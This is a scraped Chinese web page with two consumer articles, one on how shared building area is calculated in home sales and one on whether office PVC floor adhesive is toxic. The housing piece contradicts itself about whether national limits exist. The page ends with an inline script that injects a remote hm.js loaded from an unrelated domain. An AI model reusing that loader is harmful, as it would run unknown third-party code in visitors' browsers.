房屋公摊面积国家规定多少?

房屋是人们的安身之所，对于它的关注不亚于任何一个物件，人们常说的公摊面积其实也属于房屋面积的一部分，公摊面积就是包括楼梯、电梯等在内的公共部分，它计算到大家的房子面积当中，购买房屋的时候尤为明显，因为大家是按照公摊面积加上之后的面积进行出售和买卖的，公摊面积不能无限增大，国家对其有一些硬性的规定，现在就来看看国家规定的公摊面积是多少吧?目前国家在公摊面积上没有明确的规定必须控制在哪个区间范围内。一般多层住宅的公摊面积约在10%~13%，18层以下的板式住宅公摊约在13%~15%，点式的楼盘公摊大多在15%~17%，而30层以上的住宅因为电梯数量的增多，公摊通常都在25%左右。公摊面积的计算参考:1、电梯井、楼梯间、垃圾道、变电室、设备间、公共门厅和过道、地下室、值班警卫室以及其他功能上为整栋建筑服务的公共用房和管理用房建筑面积。2、套(单元)与公用建筑空间之间的分隔墙以及外墙(包括山墙)墙体水平投影面积的一半。3、外墙墙体同一楼层外墙，既有主墙，又有玻璃幕墙的，以主墙为准计算建筑面积，墙厚按主墙体厚度计算。各楼层墙体厚度不同时，分层分别计算。金属幕墙及其他材料幕墙，参照玻璃幕墙的有关规定处理。4、斜面结构屋顶房屋屋顶为斜面结构(坡屋顶)的，层高(高度)2.20米以上的部位计算建筑面积。5、不规则围护物阳台、挑廊、架空通廊的外围水平投影超过其底板外沿的，以底板水平投影计算建筑面积。6、变形缝与室内任意一边相通，具备房屋的一般条件，并能正常利用的伸缩缝、沉降缝应计算建筑面积。7、非垂直墙体对倾斜、弧状等非垂直墙体的房屋，层高(高度)2.20米以上的部位计算建筑面积。房屋墙体向外倾斜，超出底板外沿的，以底板投影计算建筑面积。不应计算为公用建筑面积的：1、凡已作为独立使用空间销售或出租的地下室、车棚等，不应计入公用建筑面积部分。2、作为人防工程的地下室也不计入公用建筑面积。3、楼梯下方空间楼梯已计算建筑面积的，其下方空间不论是否利用均不再计算建筑面积。4、公共通道临街楼房、挑廊下的底层作为公共道路街巷通行的，不论其是否有柱，是否有维护结构，均不计算建筑面积。5、与室内不相通的类似于阳台、挑廊、檐廊的建筑，不计算建筑面积!房屋公摊面积虽然有着严格的规定，但是一些房地产仍然把公摊面积建设的很大，还有的为了遵守国家规定就在边缘线进行规划，因此大家购买房屋时要特别注意这一部分。国家对于房屋有很多的规定与措施，我们在购买房屋前要一一了解，这样才不会被不法商家所蒙骗。公摊面积是其中一项，大家在看房期间要问清楚公摊面积，才能考虑是否适合购买。

办公室地板胶有毒吗?地板胶的介绍

办公室地板胶危害大吗?这是很多人都会有的疑惑，因为在装修过程中会用到地板胶，但是具体是什么也说不清楚，不过大家知道pvc吧，其实办公室地板胶就是pvc地板，在一定特定的区域内是使用比较多的。那大家会问到底办公室地板胶有危害吗?一、办公室地板胶有毒吗?1、地板胶里会有一定的胶水成分，这些胶水里面会有一些甲醛物质。2、PVC地板，是最早使用的一种装修材料，国产PVC地板大多采用胶水粘的，在使用的时候会有一些刺激的气味，这种物质是具有危害的，会影响人们的身体健康。二、办公室地板胶-地板胶的介绍1、这种材料主要是PVC，经过加工制成的特殊材料，所以上面会有一些地板胶，它们的材质有软有硬。一般在运动场，公共场地比较常见，因为这个材质的价格便宜，但是运用在家装中是很少的，如果要选择，也要选择好的高档的产品，这样质量回比较达标，劣质的PVC会有一些有害气体。2、办公室地板胶的特点：使用范围广，室内，室外都是可以的，有一定的防污能力，耐磨、清理和保养也会很简单的，还有一定防滑性。它们不会因为环境变化，而影响使用。其中款式和图案也是比较多的。可以根据不同的要求选择好看的图案。3、办公室地板胶的品牌也很多，所以地板胶价格也是有不同的。由于品牌档次，价格也会有很大的出入。对于办公室地板胶，大家如果要选择的话，一定要选购好的质量，可以多看看品牌，多对比一下，才不会上当受骗。如今也有一定环保性的地板胶，所以在考虑购买的时候要确定是否环保，放心选择就可以了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();